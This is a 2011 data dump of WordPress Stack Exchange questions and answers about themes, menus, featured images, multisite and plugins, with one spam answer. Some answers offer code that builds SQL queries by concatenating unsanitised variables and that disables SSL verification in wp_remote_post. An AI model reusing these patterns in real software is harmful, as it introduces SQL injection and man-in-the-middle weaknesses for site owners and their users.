  <row Id="23435" PostTypeId="2" ParentId="23434" CreationDate="2011-07-19T04:21:05.523" Score="0" ViewCount="" Body="&lt;p&gt;Try logging into the mysql instance from the command line by typing in &lt;code&gt;mysql -u root -p&lt;/code&gt; and then entering your mysql root password. If you can connect, even if it rejects your username and password, you know it's up and running correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that point you can diagnose whether it is username/password issues or whether or not you need to properly &lt;a href=&quot;http://www.google.com/#hl=en&amp;amp;xhr=t&amp;amp;q=configure+mysql&quot; rel=&quot;nofollow&quot;&gt;configure mysql.ini&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2011-07-19T04:21:05.523" CommentCount="1" />
  <row Id="23436" PostTypeId="1" CreationDate="2011-07-19T12:33:04.413" Score="0" ViewCount="18" Body="&lt;p&gt;I want to set up my site as an online mag. I want to display 12 different categories that show the image for the latest written article along with an excerpt of the article and then also display the last three or four articles written within that category...similar to this joomla page here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://demo.joomlaxtc.com/stylecounc...,6,7,8,9,10,11&quot; rel=&quot;nofollow&quot;&gt;http://demo.joomlaxtc.com/stylecounc...,6,7,8,9,10,11&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Only problem with this example is that it takes up too much space, so i would like to find another way to display the articles..like a self contained widget for each category that has a scroll bar or maybe a pop up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible? (I'm extra new at this so any insight would be a biiiig help) THANKS! &lt;/p&gt;&#xA;" OwnerUserId="7136" LastActivityDate="2011-07-20T08:38:52.520" Title="Individual Category Viewer With Wordpress?" Tags="&lt;categories&gt;" AnswerCount="0" CommentCount="3" />
  <row Id="23437" PostTypeId="2" ParentId="16243" CreationDate="2011-07-19T13:00:12.213" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_filter( 'wp_nav_menu_objects', 'wpse16243_wp_nav_menu_objects' );&#xA;function wpse16243_wp_nav_menu_objects( $sorted_menu_items )&#xA;{&#xA;    foreach ( $sorted_menu_items as $menu_item ) {&#xA;&#xA;        if ($menu_item-&amp;gt;current ) {&#xA;            $GLOBALS['currentMenuTitle'] = $menu_item-&amp;gt;title;&#xA;            $GLOBALS['currentMenuID'] = $menu_item-&amp;gt;ID;&#xA;&#xA;&#xA;&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;&#xA;    return $sorted_menu_items;&#xA;}&#xA;&#xA;&#xA;function get_menu_items_children( $menu_item_id='' )&#xA;{   &#xA;    global $wpdb;&#xA;&#xA;      //     AND meta_key='_menu_item_menu_item_parent'&#xA;&#xA;    $myrows = $wpdb-&amp;gt;get_results( &quot;SELECT * FROM $wpdb-&amp;gt;postmeta JOIN $wpdb-&amp;gt;posts ON $wpdb-&amp;gt;postmeta.post_id=$wpdb-&amp;gt;posts.id WHERE meta_value = '&quot;.$menu_item_id.&quot;' AND meta_key='_menu_item_menu_item_parent' ORDER BY $wpdb-&amp;gt;posts.menu_order ASC&quot; );&#xA;&#xA;&#xA;    foreach ( $myrows as $menu_item ) {&#xA;&#xA;        $sc = get_object_vars($menu_item);  &#xA;&#xA;        $myrowsb = $wpdb-&amp;gt;get_results( &quot;SELECT * FROM $wpdb-&amp;gt;postmeta WHERE post_id = '&quot;.$sc['post_id'].&quot;' AND meta_key='_menu_item_object_id' &quot; );&#xA;&#xA;        foreach ( $myrowsb as $menu_itemb ) {&#xA;&#xA;            $scb = get_object_vars($menu_itemb);    &#xA;            $pmIDs[] = $scb['meta_value'];&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;&#xA;    return $pmIDs;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-07-19T13:00:12.213" />
  <row Id="23438" PostTypeId="2" ParentId="22949" CreationDate="2011-07-19T13:04:36.487" Score="1" ViewCount="" Body="&lt;p&gt;got this working with the help from this post in the end. Cheers guys;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$finalArgs =  array (       &#xA;        'posts_per_page'=&amp;gt;5,&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'post_type' =&amp;gt; 'school'                         &#xA;    );&#xA;&#xA;    // Create a new instance&#xA;    $searchSchools = new WP_Query( $finalArgs );&#xA;&#xA;    $mypostids = $wpdb-&amp;gt;get_col(&quot;select ID from $wpdb-&amp;gt;posts where post_title LIKE '&quot;.$str.&quot;%' &quot;);&#xA;&#xA;    $args = array(&#xA;        'post__in'=&amp;gt; $mypostids,&#xA;        'post_type'=&amp;gt;'school',&#xA;        'orderby'=&amp;gt;'title',&#xA;        'order'=&amp;gt;'asc'&#xA;    );&#xA;&#xA;    $res = new WP_Query($args);&#xA;&#xA;    while( $res-&amp;gt;have_posts() ) : $res-&amp;gt;the_post();&#xA;&#xA;        global $post;&#xA;&#xA;        $EstablishmentNumber = get_post_meta($post-&amp;gt;ID,'EstablishmentNumber', true);&#xA;&#xA;        $schl = array('id'=&amp;gt;$EstablishmentNumber, 'label'=&amp;gt;$post-&amp;gt;post_title , 'value'=&amp;gt;$EstablishmentNumber );     &#xA;        $matchedSchools[] = $schl;&#xA;&#xA;&#xA;    endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-07-19T13:04:36.487" />
  <row Id="23439" PostTypeId="2" ParentId="15764" CreationDate="2011-07-19T13:09:25.080" Score="-1" ViewCount="" Body="&lt;p&gt;We removed the links to comments using a simple Javascript..&#xA;&lt;a href=&quot;http://www.funkywebsites.net&quot; rel=&quot;nofollow&quot;&gt;Website Design Bradford&lt;/a&gt;&#xA;Check our websites out.&lt;/p&gt;&#xA;" OwnerUserId="7137" LastActivityDate="2011-07-19T13:09:25.080" />
  <row Id="23440" PostTypeId="1" CreationDate="2011-07-19T13:11:28.777" Score="0" ViewCount="42" Body="&lt;p&gt;I currently have a shortcode which dynamically swaps out locations on a page to make each page specific to a location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the url &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mywebsite.com/offers/scotland/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would make the H1 of my website be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Special Offers Scotland&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now I also want to change the title tag to allow effect search engine optimisation. I am unsure if it's possible to do this within my shortcode as it will execute within the loop and therefore the header.php has already finished loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6529" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-19T13:35:59.793" LastActivityDate="2011-08-19T16:32:19.437" Title="Changing the title tag from a shortcode" Tags="&lt;shortcode&gt;&lt;seo&gt;&lt;title&gt;&lt;header&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23441" PostTypeId="2" ParentId="23440" CreationDate="2011-07-19T13:25:37.333" Score="0" ViewCount="" Body="&lt;p&gt;You are correct in your thinking that because the loop evaluates after the header you will not be able to get the contents of the loop there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to do this is probably with jQuery. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        document.title = 'blah';&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Place this code in your loop, and the page title will be changed on after the document is ready. This may not be a desirable solution however, because some search engines do not evaluate JavaScript. You can use &lt;a href=&quot;http://www.google.com/webmasters/tools&quot; rel=&quot;nofollow&quot;&gt;Google Webmaster Tools&lt;/a&gt; to see what the page looks like to the Google Crawler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternate solution, I believe &lt;a href=&quot;http://wordpress.org/extend/plugins/all-in-one-seo-pack/&quot; rel=&quot;nofollow&quot;&gt;All in One SEO Pack&lt;/a&gt; has the functionality that you describe:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;You can override any title and set any META description and any META keywords you want.&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Support for Custom Post Types&lt;/li&gt;&#xA;&lt;li&gt;Advanced Canonical URLs&lt;/li&gt;&#xA;&lt;li&gt;Fine tune Page Navigational Links&lt;/li&gt;&#xA;&lt;li&gt;Built-in API so other plugins/themes can access and extend functionality&lt;/li&gt;&#xA;&lt;li&gt;Support for CMS-style WordPress installations&lt;/li&gt;&#xA;&lt;li&gt;Automatically optimizes your titles for search engines&lt;/li&gt;&#xA;&lt;li&gt;Generates META tags automatically&lt;/li&gt;&#xA;&lt;li&gt;Avoids the typical duplicate content found on WordPress blogs&lt;/li&gt;&#xA;&lt;li&gt;For beginners, you don't even have to look at the options, it works out-of-the-box. Just install.&lt;/li&gt;&#xA;&lt;li&gt;For advanced users, you can fine-tune everything&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-19T13:25:37.333" CommentCount="1" />
  <row Id="23442" PostTypeId="1" CreationDate="2011-07-19T13:27:40.347" Score="0" ViewCount="11" Body="&lt;p&gt;I'm not a web developer so I don't know how to create an sql query to display information from my database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I wanted to do, I want to have a page that will display blog categories. When a visitor clicked a category, a list of blogs will be displayed under that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have a table and information stored on my database however, i don't know how to display it on the frontend.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    CREATE TABLE `wp_blog_types` (&#xA;  `blog_types_ID` bigint(20) unsigned NOT NULL auto_increment,&#xA;  `blog_ID` bigint(20) NOT NULL,&#xA;  `blog_types` TEXT NULL,&#xA;  `blog_subtypes` TEXT NULL,&#xA;  PRIMARY KEY  (`blog_types_ID`)&#xA;) ENGINE=MyISAM;&#xA;&#xA;CREATE TABLE `wp_signup_blog_types` (&#xA;  `blog_types_ID` bigint(20) unsigned NOT NULL auto_increment,&#xA;  `blog_types_domain` varchar(255) NOT NULL,&#xA;  `blog_types_path` varchar(255) NOT NULL,&#xA;  `blog_types` TEXT NULL,&#xA;  `blog_subtypes` TEXT NULL,&#xA;  PRIMARY KEY  (`blog_types_ID`)&#xA;) ENGINE=MyISAM;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to display the information based on that sql code by using a shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7138" LastEditorUserId="7138" LastEditorDisplayName="" LastEditDate="2011-07-19T13:40:12.263" LastActivityDate="2011-07-19T13:40:12.263" Title="[Multisite] How to create a blogs category page with Blog-Types Plugin" Tags="&lt;multisite&gt;&lt;mysql&gt;&lt;wordpress.org&gt;&lt;blog&gt;" />
  <row Id="23443" PostTypeId="1" CreationDate="2011-07-19T13:47:44.417" Score="0" ViewCount="147" Body="&lt;p&gt;i am using wordpress 3.1 and when i use the featured image metabox to upload sometimes i see in my posts the image as part of the content and sometimes the header image changes as well. i cannot understand what is the reason. any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using&lt;br&gt;&#xA;    if ( has_post_thumbnail() ) &#xA;{ // check if the post has a Post Thumbnail assigned to it.&#xA;    the_post_thumbnail();&#xA;} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="6982" LastActivityDate="2011-07-20T12:40:35.010" Title="featured image thumbnail" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="23444" PostTypeId="1" CreationDate="2011-07-19T14:04:43.750" Score="0" ViewCount="28" Body="&lt;p&gt;I want to change the permalinks for subpages in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I use %postname% in the settings.&#xA;For subpages this will give me a structure like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mysite.com/name-of-page/name-of-sub-page&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/name-of-page/name-of-sub-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want it to be like this even if it is a subpage (without the parent page):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mysite.com/name-og-sub-page&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/name-og-sub-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="6721" LastActivityDate="2011-07-19T14:04:43.750" Title="Customize permalink structure in wordpress" Tags="&lt;permalinks&gt;&lt;permalink&gt;" />
  <row Id="23445" PostTypeId="2" ParentId="23432" CreationDate="2011-07-19T14:09:20.707" Score="1" ViewCount="" Body="&lt;p&gt;Maybe a bit less hacky:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$months = array();&#xA;&#xA;while(....){&#xA;&#xA;  list($month, $year) = explode('/', get_the_date('n/y')); // eg. 7/11&#xA;  if(in_array($month, $months)) continue; // skip&#xA;&#xA;  $months[] = $month;&#xA;&#xA;  echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_month_link($month, $year).'&quot;&amp;gt;'.get_the_date('F Y').'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're only getting 6 posts and you don't need pagination that I guess it's OK to go this way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you need to build your own SQL query to pull out only one post for each month...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try to make 6 queries for each month, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$january_posts = new WP_Query('monthnum=1&amp;amp;posts_per_page=1'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-07-19T14:15:03.953" LastActivityDate="2011-07-19T14:15:03.953" CommentCount="1" />
  <row Id="23446" PostTypeId="2" ParentId="23443" CreationDate="2011-07-19T14:14:41.370" Score="1" ViewCount="" Body="&lt;p&gt;Assuming you are using Twenty Ten, Twenty Eleven, or one of the several Themes that derive Post Thumbnail (i.e. &quot;featured image&quot;) feature handling from either of these Themes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Featured Image is applied to the header image, if and &lt;em&gt;only if&lt;/em&gt; the dimensions of the Featured Image exceed the dimensions of the header image.&lt;/li&gt;&#xA;&lt;li&gt;The Featured Image is &lt;em&gt;not displayed in the Post Content&lt;/em&gt; by default; you must manually insert the Featured Image into the Post Content, as you would any other image, if you want it to appear in your Post.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have a custom image size, such as 300x300, you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_image_size()&lt;/code&gt;&lt;/a&gt;. For example, add the following to &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_image_size( 'single-post-image', 300, 300, true );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in &lt;code&gt;single.php&lt;/code&gt;, you can add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail( 'single-post-image' ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And your 300x300px image will be inserted wherever you place it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: you may need to regenerate existing Thumbnails.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To link your displayed, custom-sized featured image to its attachment-page view, you need to use &lt;code&gt;get_attachment_link()&lt;/code&gt;. In &lt;code&gt;single.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( has_post_thumbnail() ) { ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_attachment_link( get_post_thumbnail_id() ); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php the_post_thumbnail( 'single-post-image' ); ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-20T12:40:35.010" LastActivityDate="2011-07-20T12:40:35.010" CommentCount="6" />
  <row Id="23447" PostTypeId="1" CreationDate="2011-07-19T15:06:49.643" Score="0" ViewCount="39" Body="&lt;p&gt;I am still looking for a solution for this and can't seem to find it. I have the following code to start, but am not sure how to write the function to fire off a .js file. I need this to work on one specific page ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ipad_alert() {&#xA; if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT'])) {?&amp;gt;&#xA;      // link to .js file? &#xA; &amp;lt;?php }&#xA; }&#xA; add_action('init','ipad_alert');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-07-19T15:23:50.943" Title="Message box when accessed from iPad" Tags="&lt;conditional-content&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23448" PostTypeId="2" ParentId="23447" CreationDate="2011-07-19T15:23:50.943" Score="1" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt; to add a js file. I've hooked &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; so I can check &lt;code&gt;is_page()&lt;/code&gt; for a specific page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ipad_alert() {&#xA;    if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT']) &amp;amp;&amp;amp; is_page(7) ) {&#xA;        wp_enqueue_script('my_script', get_bloginfo('template_directory') . '/js/my_script.js');&#xA;    }&#xA;}&#xA;add_action('wp_enqueue_scripts','ipad_alert');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-19T15:23:50.943" CommentCount="3" />
  <row Id="23449" PostTypeId="1" AcceptedAnswerId="23456" CreationDate="2011-07-19T15:27:08.977" Score="0" ViewCount="38" Body="&lt;p&gt;Ok This is what i'm trying to achieve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A site network where user can post their articles and get rewarded for each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Lets say i have a main site example.com. I created a network like site1.example.com,&#xA;site2.example.com, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lets say i have around 10 subsites in my network.&#xA;Each subsite have one custom post type.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example site1.example.com has custom post type videos and only dedicated for videos, site2.example.com has custom post type pictures and only dedicated for pictures, etc. Likewise i created 10 custom post types in 10 of my subsites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i want user access in all network sites with one registration. I mean user who register in site2.example.com should able to access all my network sites and create new posts. They all should be able to access even if i add a new site in my network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin available for this feature?. Please help me. Thanks &lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-19T16:18:15.803" LastActivityDate="2011-07-19T16:21:10.387" Title="Single-user registration to access all sites in WordPress MultiSite Network" Tags="&lt;multisite&gt;&lt;network&gt;&lt;network-admin&gt;" AnswerCount="1" />
  <row Id="23450" PostTypeId="2" ParentId="22935" CreationDate="2011-07-19T15:43:50.420" Score="1" ViewCount="" Body="&lt;p&gt;I agree with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22935/proper-way-to-modify-plugin/23225#23225&quot;&gt;Adam Backstrom's answer&lt;/a&gt;, but I'd like to share my preferred solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since most plugins are under svn, I use a tool called git-svn to make a git mirror.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I just make a branch and commit my changes there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the plugin is updated upstream, I just pull from the svn repo and merge into my custom branch.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-19T15:43:50.420" CommentCount="1" />
  <row Id="23451" PostTypeId="2" ParentId="23390" CreationDate="2011-07-19T15:50:27.687" Score="0" ViewCount="" Body="&lt;p&gt;I figured it out. The WordPress HTTP API was doing it's job; my problem was with the API I was working with. I just modified my code like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'https://www.testurl.com';&#xA;$xml = &amp;lt;&amp;lt;&amp;lt;TESTED XML HERE&amp;gt;&amp;gt;&amp;gt;;&#xA;$response = wp_remote_post( &#xA;    $url, &#xA;    array(&#xA;        'method' =&amp;gt; 'POST',&#xA;        'timeout' =&amp;gt; 45,&#xA;        'redirection' =&amp;gt; 5,&#xA;        'httpversion' =&amp;gt; '1.0',&#xA;        'headers' =&amp;gt; array(&#xA;            'Content-Type' =&amp;gt; 'text/xml'&#xA;        ),&#xA;        'body' =&amp;gt; array('posdata' =&amp;gt; $xml, 'postfield' =&amp;gt; 'value'),&#xA;        'sslverify' =&amp;gt; false&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again...this was just a misunderstand of the API I was working with, not the HTTP API provided my WordPress.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-19T15:50:27.687" />
  <row Id="23452" PostTypeId="2" ParentId="23335" CreationDate="2011-07-19T16:09:00.127" Score="0" ViewCount="" Body="&lt;p&gt;Two issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The code you're using requires Administrator-role capabilities&lt;/li&gt;&#xA;&lt;li&gt;The code you're using requires &lt;code&gt;fopen()&lt;/code&gt; wrappers, which may be disabled by your host&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should probably be using &lt;a href=&quot;http://codex.wordpress.org/Function_API/wp_remote_get&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_remote_get()&lt;/code&gt;&lt;/a&gt; instead of &lt;code&gt;file_get_contents()&lt;/code&gt;. I would also recommend &lt;em&gt;caching&lt;/em&gt; the result, rather than storing it as a DB option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, let's start with the basics. I'm going to assume that the &lt;code&gt;preg_match()&lt;/code&gt; part of the WPBeginner code works, and re-wrap it in a more-flexible function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try putting this in &lt;code&gt;functions.php&lt;/code&gt; (change &lt;code&gt;$user = 'wpbeginner'&lt;/code&gt; to your own username):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function mytheme_get_twitter_follower_count( $user = 'wpbeginner' ) {&#xA;    $twitter_url = 'http://twitter.com/users/show.xml?screen_name=' . $user;&#xA;    $twitter_data = wp_remote_get( $twitter_url );&#xA;    $xml = $twitter_data['body'];&#xA;    $twitter_followers = '0';&#xA;    if (preg_match('/followers_count&amp;gt;(.*)&amp;lt;/',$xml,$match)!=0) {&#xA;        $twitter_followers = $match[1];&#xA;    }&#xA;    return $twitter_followers;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, wherever you want to output the string, put this in your template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Twitter Followers: &amp;lt;?php echo mytheme_get_twitter_follower_count(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that you can get the follower count for &lt;em&gt;any&lt;/em&gt; user, by calling &lt;code&gt;mytheme_get_twitter_follower_count( 'username' );&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Twitter Followers: Fatal error: Call to undefined function mytheme_get_twitter_follower_count() in /hermes/bosweb25a/b155/ipg.zoomingjapancom/wp-content/plugins/php-code-widget/execphp.php(44) : eval()'d code on line 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where are you putting the &lt;code&gt;mytheme_get_twitter_widget_follower_count()&lt;/code&gt; function call?&lt;/li&gt;&#xA;&lt;li&gt;Where are you defining the &lt;code&gt;mytheme_get_twitter_widget_follower_count()&lt;/code&gt; function?&lt;/li&gt;&#xA;&lt;li&gt;Why are you using a PHP code-execution Plugin?&lt;/li&gt;&#xA;&lt;li&gt;Why does that Plugin have eval() code in it?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-21T11:53:16.453" LastActivityDate="2011-07-21T11:53:16.453" CommentCount="6" />
  <row Id="23453" PostTypeId="1" AcceptedAnswerId="23629" CreationDate="2011-07-19T16:09:39.033" Score="1" ViewCount="57" Body="&lt;p&gt;I am trying to remove the admin bar from a theme front end of a theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the following code block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'show_admin_bar', '__return_false' );&#xA;remove_action( 'personal_options', '_admin_bar_preferences' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works fine. &lt;em&gt;However&lt;/em&gt; I wanted to add a choice for the user, so that I can add a permanent code block to my boilerplate theme, and allow users to toggle the admin bar off and on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully added the toggle in the admin area, and called back the value successfully, however, when I test for the value in order to control the callback of the admin bar, the admin bar goes, but the CSS applied to the HTML element (&lt;code&gt;margin-top: 28px !important;&lt;/code&gt;) remains, leaving a 28px gap in the top of my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code block I am using to call the value back, and respond accordingly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function block_admin(){&#xA;    $show = get_option('admin_bar_');&#xA;    $show = $show['admin_bar_toggle'];&#xA;    if (!$show || $show != 'on'){&#xA;        add_filter( 'show_admin_bar', '__return_false' );&#xA;        remove_action( 'personal_options', '_admin_bar_preferences' );&#xA;    } &#xA;}&#xA;add_action('init', 'block_admin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Suggestion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By requirement, my custom option (using &lt;code&gt;register_setting&lt;/code&gt;) is not initialised until the &lt;code&gt;admin_menu&lt;/code&gt; hook is launched, whilst the &lt;code&gt;block_admin&lt;/code&gt; is launched on &lt;code&gt;init&lt;/code&gt;. However, I don't think this is the issue as I don't think &lt;code&gt;get_option&lt;/code&gt; is dependent on the setting being registered, but rather the option existing (or not) in the database.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-21T13:51:09.473" Title="Problems with removing admin bar" Tags="&lt;plugin-development&gt;&lt;functions&gt;&lt;wp-admin&gt;&lt;admin-bar&gt;&lt;overridable-functions&gt;" AnswerCount="5" />
  <row Id="23454" PostTypeId="2" ParentId="23453" CreationDate="2011-07-19T16:13:21.983" Score="0" ViewCount="" Body="&lt;p&gt;Have you saved your settings, so that they &lt;em&gt;do&lt;/em&gt; exist in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: what if you change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! $show || $show != 'on' ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset( $show ) || $show != 'on' ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-19T16:13:21.983" CommentCount="1" />
